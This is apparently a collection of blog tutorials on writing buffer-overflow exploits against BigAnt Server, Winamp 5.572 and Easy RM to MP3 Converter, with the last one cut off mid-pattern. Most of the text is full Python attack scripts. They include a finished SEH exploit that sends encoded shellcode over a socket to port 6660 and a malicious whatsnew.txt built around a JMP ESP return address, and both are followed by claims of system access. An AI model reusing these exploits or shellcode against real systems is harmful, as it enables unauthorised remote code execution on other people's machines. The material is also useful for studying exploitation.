SEH Exploit BigAnt Server Part 2 (Bad Character)

previously (Exploit BigAnt Server part 1), we have tried to make the shellcode, but we have a problem about the bad character. now i try to find the bad character

- Bad Character

run the script generatecodes.pl

then copy the script into fuzzer per line.

after that, run it again and see in SEH chain. if success. SEH chain will be leads into file vbajet32.dll

then, copy the second line into script fuzzer like this

so we know the bad character found on second line. then try to divided into two parts.

\x12\x13\x14\x15\x16\x17\x18\x19\x1a and \x1b\x1c\x1d\x1e\x1f\x20

first, run the fuzzer without second part. 

we can see in SEH chain that the SEH will leads into file vbajet32.dll. so we know that the bad character found on second parts. then divide it into two parts again, \x1b\x1c\x1d and \x1e\x1f\x20

and run it again without second part. and then the SEH will leads into file vbajet32.dll. so we know that the bad character found on \x1e, \x1f, and \x20. then try to run without \x20. so the SEH will leads into file vbajet32.dll again and we the bad character is \x20.

then use the generatecodes.pl again 

then copy it into fuzzer and then run it again. 

and we can see the SEH will leads into file vbajet32.dll. 

- next step we have to check bad character inside the buffer

to find out it, run the fuzzer then press shift + F9 

next process is read the buffer inside the memory. 

right click --> Follow in Dump --> selection

then we can see the shellcode dummies has been entered into the memory.

the choose the data begin 01 until ff, then right click --> binary--> binary copy 

 and then paste it into editor. in here i will paste and save with name memory.txt

after that save the dummies shellcode into file shellcode.txt

then compare the two file (memory.txt and shellcode.txt) using comparememory.pl

then we can see that character \x25, \x26, \x27 on memory are lost and replace by character character \x57.

so try to remove character \x25 from list generate dummies shellcode.

root@bt:~# perl generatecodes.pl 00,0a,0d,20,25

then repeat the step form check bad character util compare (memory.txt and shellcode.txt).

if we success, compare will not show the result like previously

so from here we the bad character is character \x25 too. now we have 5 bad character ( \x00, \x0a, \x0d, \x20, and \x25)

next step, try to generate the shellcode again

then copy the payload into fuzzer and run it again.

#!/usr/bin/python

import socket

target_address="192.168.56.101"

target_port=6660

buffer="USV "

buffer+="\x90" * 962

buffer+="\xeb\x06\x90\x90" # JMP SHORT 6

buffer+="\x6A\x19\x9A\x0F" # address of file vbajet.dll

buffer+="\x90" * 16

buffer+=("\xda\xc2\xb8\xf0\x80\x7a\x64\x29\xc9\xd9\x74\x24\xf4\xb1\x51\x5f"

"\x31\x47\x17\x83\xc7\x04\x03\xb7\x93\x98\x91\xcb\xfe\xb7\x17\xdb"

"\x06\xb8\x57\xe4\x99\xcc\xc4\x3e\x7e\x58\x51\x02\xf5\x22\x5f\x02"

"\x08\x34\xd4\xbd\x12\x41\xb4\x61\x22\xbe\x02\xea\x10\xcb\x94\x02"

"\x69\x0b\x0f\x76\x0e\x4b\x44\x81\xce\x86\xa8\x8c\x12\xfd\x47\xb5"

"\xc6\x26\x80\xbc\x03\xad\x8f\x1a\xcd\x59\x49\xe9\xc1\xd6\x1d\xb2"

"\xc5\xe9\xca\x4f\xda\x62\x85\x23\x06\x69\xf7\x78\x77\x4a\x93\xf5"

"\x3b\x5c\xd7\x49\xb0\x17\x97\x55\x65\xac\x18\x6d\x2b\xdb\x16\x23"

"\xdd\xf7\x77\x44\x37\x61\x2b\xdc\xd0\x5d\xf9\x48\x56\xd1\xcf\xd7"

"\xcc\xea\xe0\x8f\x27\xf9\xfd\x74\xe8\xfd\x28\xd5\x81\xe7\xb3\x68"

"\x7c\xef\x39\x3f\x15\xf2\xc2\x6f\x81\x2b\x35\x7a\xff\x9b\xb9\x52"

"\x53\x77\x15\x09\x07\x34\xca\xee\xf4\x45\x3c\x96\x92\xa8\xe1\x30"

"\x30\x42\xf8\x29\xde\xf0\xe1\x21\xd8\xae\xea\x17\x8c\x40\x44\xc2"

"\xae\xb1\x0e\x48\xfd\x1c\x26\xc7\x01\xb6\xeb\xb2\x02\xe7\x64\xd9"

"\xb4\x8e\x3c\x76\xb8\x59\xee\x2c\x12\x33\xf0\x1c\x09\xd3\xe9\xe5"

"\xe8\x5d\xa1\xea\x23\xc8\xb2\xc4\xaa\x99\x28\x82\x5a\x3d\xdc\xc3"

"\x7e\xab\x4e\x8a\xa9\xe0\xe6\xcb\xc0\xbc\x71\xf1\x24\xfd\x71\x5f"

"\xb8\xbf\x58\x61\x07\x6c\x30\x10\xf2\x54\x9d\x81\xa8\xcd\x93\x2b"

"\x1d\x1b\xab\xa6\x26\xdb\x85\x13\xf0\x71\x7b\xf2\xaf\x1f\x7a\xa5"

"\x1e\xb5\x2d\xba\x71\x5d\x63\x9d\x77\x50\x28\xe2\xae\x06\x30\xe3"

"\x78\x28\x1e\x90\xd0\x2a\x1c\x62\xba\x2d\xf5\x38\xbc\x02\x92\xc2"

"\x9a\x41\x10\x69\xe4\x50\x28\x5d")

buffer+="\x90" * (2504-len(buffer))

buffer+="\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

print("kirim")

sock.close()

now we can access the system.

Alhamdulillah .... :D

SEH Exploit BigAnt Server Part 1

now i will try to share about process vulnerability development on an application SEH and safeSEH.
- first, make fuzzer, run the application and then attach process AntServer into ollydbg.


#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer="USV " + "\x41" * 2500 + "\r\n\r\n"
s.connect(('192.168.56.101',6660))
s.send(buffer+'\r\n')
print("kirim ...")
s.close()



the fuzzer try to send 2500 byte character A into BigAnt Server. we can see that the application crash, but the EIP not overwrite by buffer that we send. this is because the application use SEH that will catch the exeption.

to see into SEH, choose menu view --> SEH Chain

to forward the data from SEH chain into memory, press shift + F9, so the EIP will be overwrite.

we can see that the buffer that we send have been entered into the stack. to see the data in memory, right click on stack line --> follow in dump.

- then, search the stepping stone
in here, we try to use module that used by application as stepping stone. to see the module, click menu view --> Executable modules.

there are two rule on the module to use as stepping stone.
first, the not compiled using /safeSEH ON
second, the module not have or use flag IMAGE_DLLCHARACTERISTICS_NO_SEH. usually starts with code 0x0400.
in here, we try to use file vbajet32.dll. on C:\WINDOWS\system32\VBAJET32.DLL copy the file vbajet32.dll into backtrack sistem and paste it into folder /tmp or anywhere you want. then use msfpescan to read the function of DllCharacteristics.

root@bt:/pentest/exploits/framework2# msfpescan -i /tmp/vbajet32.dll | grep SEHandler

root@bt:/pentest/exploits/framework2# msfpescan -i /tmp/vbajet32.dll | grep DllCharacteristics

we can see the results that value on second byte is 0, it means, this module has no protection of SEH or safeSEH.

next step, we serach the command POP, POP, RETN inside this module. double click on file vbajet32.dll, then right click --> search for --> sequence of commands

and then type POP r32, POP r32, RETN

so we have found the memory address vbajet32.dll at offset 0F9A196A and doesn't contain value \x00, \x0a and \x0d.

- then search the offset to everwrite the address SEH.
create the pattern for 2500 byte, then copy and paste the pattern into the fuzzer after that run it again

#!/usr/bin/python

import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer="USV "
buffer+="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D" + "\r\n\r\n"
s.connect(('192.168.56.101',6660))
s.send(buffer+'\r\n')
print("kirim ...")
s.close()


run the fuzzer again and enter into SEH chain then press shift + F9

then, use pattern offset

we know that we need 966 byte buffer to trigger the SEH handler.
then, edit the fuzzer like this.

#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer="USV "
buffer+="\x90" * 962
buffer+="\xCC\xCC\xCC\xCC"
buffer+="\x41\x41\x41\x41"
buffer+="\x90" * (2504-len(buffer))
buffer+="\r\n\r\n"
s.connect(('192.168.56.101',6660))
s.send(buffer+'\r\n')
print("kirim ...")
s.close()

we can see that the value buffer \x41 success enter into SEH handler.

- next step, control the CPU process
after we got the address of byte that used for handling SEH, it's time to use the address of vbajet32.dll
edit the fuzzer like this

#!/usr/bin/python

import socket

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer="USV "

buffer+="\x90" * 962

buffer+="\xCC\xCC\xCC\xCC"
buffer+="\x6A\x19\x9A\x0F"    #address on file vbajet32.dll
buffer+="\x90" * (2504-len(buffer))
buffer+="\r\n\r\n"
s.connect(('192.168.56.101',6660))
s.send(buffer+'\r\n')
print("kirim ...")
s.close()

run the fuzzer again and see the SEH chain

we can see that the address of vbajet32.dll have been entered into SEH chain.

press shift+F9 to forward process into memory vbajet32.dll

then, press shift+F9 again to continue , so the process will throw into sequence of command POP POP RETN in memory vbajet32.dll

then, press F7 until reach the command RETN

but we have a problem, because space of memory just availabe 4 bytes and it not enough to save a shellcode. therefore, we need another process to move the location into address that have available large memory. to find it, right click on first address of  \xCC (0194FD7C) --> follow in dump --> selection. so ollydbg will leads into stack memory.

we can see that available great space memory (\x90) begin address 0194FD7C. to leads the CPU process from 4 byte into empty space that followed by command overwrite address of SEH, we can use command JMP SHORT. this command is used to order the CPU to jump forward just a few byte.

to leads into stack, we need jump for 6 bytes (4 bytes for pass the SEH and 2 bytes to fill the rest of the opcode). so the value of opcode will became \xeb\x06\x90\x90.

- make the shellcode

#!/usr/bin/python
import socket
target_address="192.168.56.101"
target_port=6660
buffer+="\x90" * 962
buffer+="\xeb\x06\x90\x90" # JMP SHORT 6
buffer+="\x6A\x19\x9A\x0F" # address of file vbajet.dll
buffer+="\x90" * 16
buffer+=("\x31\xc9\xdb\xc3\xb1\x51\xd9\x74\x24\xf4\xbf\x97\x33\xf4\x5b\x5b"
"\x31\x7b\x15\x83\xeb\xfc\x03\xec\x22\x16\xae\xee\x2f\x3d\x1c\xe6"
"\x49\x3e\x60\x09\xc9\x4a\xf3\xd1\x2e\xc6\x49\x25\xa4\xa4\x54\x2d"
"\xbb\xbb\xdc\x82\xa3\xc8\xbc\x3c\xd5\x25\x0b\xb7\xe1\x32\x8d\x29"
"\x38\x85\x17\x19\xbf\xc5\x5c\x66\x01\x0f\x91\x69\x43\x7b\x5e\x52"
"\x17\x58\xb7\xd1\x72\x2b\x98\x3d\x7c\xc7\x41\xb6\x72\x5c\x05\x97"
"\x96\x63\xf2\x24\x8b\xe8\x8d\x46\xf7\xf2\xec\x55\xc6\xd1\x8b\xd2"
"\x6a\xd6\xd8\xa4\x60\x9d\xaf\x38\xd4\x2a\x0f\x48\x78\x45\x1e\x06"
"\x8a\x79\x4e\x69\x44\xe7\x3c\xf3\x01\xdb\xf0\x93\xa6\x68\xc7\x3c"
"\x1d\x70\xf7\xaa\x56\x63\x04\x11\x39\x83\x23\x3a\x30\x9e\xaa\x45"
"\xaf\x69\x31\x10\x5a\x68\xca\x4a\xf2\xb5\x3d\x9f\xae\x11\xc1\x89"
"\xe2\xce\x6e\x66\x56\xb2\xc3\xcb\x0b\xcb\x34\xad\xc3\x22\xe9\x57"
"\x47\xcc\xf0\x02\x0f\x6a\xe8\x5c\x17\x25\xf2\x4a\xfd\xda\x5d\x27"
"\xfd\x0b\x35\x63\xac\x82\x2f\x3c\x50\x0c\xfc\x97\x51\x61\x6b\xf2"
"\xe7\x04\x25\xab\x08\xde\xe6\x07\xa3\x8a\xf9\x77\xd8\x5d\xe1\x0e"
"\x19\xe4\xba\x0f\x73\x42\xba\x3f\x1a\x07\x20\xd9\x8b\xb4\xc5\xac"
"\xa9\x51\x46\xf7\x18\x6a\xef\xe0\x31\x36\x79\x0c\xf4\x76\x8a\x7a"
"\x09\x34\x40\x84\xb4\x95\x09\xf5\x43\xde\x86\xae\x1f\x76\xab\x4e"
"\xec\x91\xb4\xdb\x57\x61\x9c\x78\x0f\xcf\x70\x2f\xfe\x85\x73\x9e"
"\x51\x0f\x25\xdf\x82\xc7\x68\xc6\x26\xd6\x20\x07\xfe\x8c\x39\x08"
"\xc8\xaf\x16\x7d\x60\xac\x14\x45\xeb\xb3\xcd\x17\x0b\x9b\x9a\xe9"
"\x2b\xfe\x28\x46\x33\x29\x31\xb8")
buffer+="\x90" * (2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
print("kirim")
sock.close()

but it not works. SEH have been saved the wrong value.

SEH should be leads into file vbajet32.dll. To know where is the fault (fuzzer or payload), try to delete the payload and then run it again.

so we know that the problem is on the payload.
So, we have to search the Bad Character.

so i will explain to find out the bad character until we got the access in system windows xp in here (Exploit BigAnt Server part 2)

Buffer Overflow Exploit Winamp 5.572

now i will try to make the application winamp crash

#!/usr/bin/python

nama="winampFLV.swf"

coba="\x41"*600000 

file=open(nama,"w")

file.write(coba)

print("testing...")

file.close()

try to load the fuzzer

 the application became crash...

 try to run with ollydbg

 the application became crash...but after i run it again using ollydbg, the EIP not overwrite.

then i try to make it crash use the skin

try to make fuzzer use file mcvcore.maki

#!/usr/bin/python

nama="mcvcore.maki"

coba="\x41"*600000 

file=open(nama,"w")

file.write(coba)

print("testing...")

file.close()

then copy and paste the file in C:\Program Files\Winamp\Skins\coba\scripts

 try to change the skin

the application will be crash like this..

but, after i try use ollydbg, the application can't crash.

then, i've tried to make fuzzer use config.xml and skin.xml... but it not work...

and i've tried to make fuzzer use whatsnew.txt too... 

#!/usr/bin/python

nama="whatsnew.txt"

coba="\x41"*60000

file=open(nama,"w")

file.write(coba)

print("testing...")

file.close()

but it not work.

and now i try to add the header for the version of Winamp into the fuzzer like this

#!/usr/bin/python

nama="whatsnew.txt"

coba="Winamp 5.572" + "\x41"*1000

file=open(nama,"w")

file.write(coba)

print("testing...")

file.close()

then the application will be crash and the EIP will be overwrite by character "\x41"

after that i will try to create patten 1000 and copy it into the fuzzer

#!/usr/bin/python

nama="whatsnew.txt"

coba="Winamp 5.572" + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

file=open(nama,"w")

file.write(coba)

print("testing...")

file.close()

then use pattern offset to know where is chracter that overwrite the EIP

next step, i'll try to control the EIP

#!/usr/bin/python

nama="whatsnew.txt"

coba="Winamp 5.572"

coba+="\x90"*540

coba+="\xDD\xCC\xBB\xAA"

coba+="\x90"*(1000-len(coba))

file=open(nama,"w")

file.write(coba)

print("testing...")

file.close()

search the stepping stone ..

view --> executables modules and double click on shell32.dll and the right click --> search for --> command and type JMP ESP

so we can see the address of JMP ESP

don't forget to breakpoint the address of JMP ESP to make sure that the address have been read by EIP.

then edit the fuzzer and use address of JMP ESP. 

#!/usr/bin/python

nama="whatsnew.txt"

coba="Winamp 5.572" 

coba+="\x90"*540

coba+="\xD7\x30\x9D\x7C"

coba+="\x90"*(1000-len(coba))

file=open(nama,"w")

file.write(coba)

print("testing...")

file.close()

now we can see the Ollydbg has stop process Winamp when access address of JMP ESP.

now make the payload 

open terminal and type this

root@bt:/pentest/exploits/framework2# ./msfweb 

after that open browser to generate the payload.

then copy the payload into fuzzer

so the application will be crash 

then try to access the system using telnet 

Alhamdulillah ... :D 

Buffer Overflow Exploit Easy RM To MP3 Converter

First, i have to gather some information from the application.
The application Easy RM To MP3 Converter can open/load format file real meda (*.ra, *.ram, *.rmj, *.rmvb, *.smi) and playlist file (*.m3u, *.pls, *.wpl, *.wax, *.smi, *.wvx, etc.)

create fuzzer easyrm.py to make the application crash.

#!/usr/bin/python
nama="playlist.pls"
coba="A"*26200
file=open(nama,"w")
file.write(coba)
print("testing...")
file.close()

line 2, will make a variabel nama and will be a new file playlist.pls.
line 3, will make variabel coba and will send 26200 character A.
line 4, will make variabel file for open file playlist.pls and command 'W' for write the file.

then run the fuzzer easyrm.py, so will be appear a new file playlist.pls

and try to run application and load the playlist.pls

so, the application will be crash.

then, try to run the application with ollydbg and load the playlist.pls
so, the value of EIP will be overwrite by value 41414141

after that, use metasploit framework to create the pattern

then, copy the pattern into the script fuzzer to find out the number of charcter that will overwrite the value of EIP.


#!/usr/bin/python
nama="playlist.pls"
coba="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6